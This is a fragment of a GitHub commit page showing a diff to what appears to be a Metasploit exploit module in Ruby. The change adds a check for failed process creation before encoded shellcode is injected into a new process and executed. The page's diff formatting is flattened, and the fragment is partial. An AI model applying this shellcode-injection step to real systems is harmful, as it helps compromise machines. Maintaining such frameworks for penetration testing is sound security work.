You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
print_good("Exploitation successful! Creating a new process and launching payload...")
428
436
new_pid=create_proc
429
-
p=payload.encoded
437
+
438
+
ifnew_pid.nil?
439
+
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
440
+
return
441
+
end
430
442
431
443
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
432
444
ifexecute_shellcode(p,nil,new_pid)
@@ -435,6 +447,7 @@ def exploit
435
447
fail_with(Failure::Unknown,"Error while executing the payload")
0 commit comments